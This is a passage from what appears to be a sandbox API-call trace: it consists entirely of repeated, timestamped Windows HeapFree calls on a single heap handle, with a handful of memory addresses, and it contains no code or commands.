hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.697] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.826] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.827] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.829] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.829] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.830] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.830] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.838] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.838] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.839] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.840] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.840] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.840] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.840] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.841] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.841] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.842] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.842] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.843] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.843] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.844] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.844] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.844] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.849] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.849] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.867] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.900] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.901] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.901] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0060 | out: hHeap=0x510000) returned 1 [0141.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0142.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.285] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.287] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.287] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.288] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.288] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.305] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.305] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.307] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.307] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.308] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.309] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.309] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.309] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.311] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.311] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0142.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0142.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0142.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0142.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0142.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0142.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0142.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0142.403] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0142.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0142.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0142.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.065] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.066] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0143.157] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.158] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.345] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0143.346] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.346] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0143.381] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0143.404] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.404] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0143.408] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.408] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.408] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.408] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.410] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | 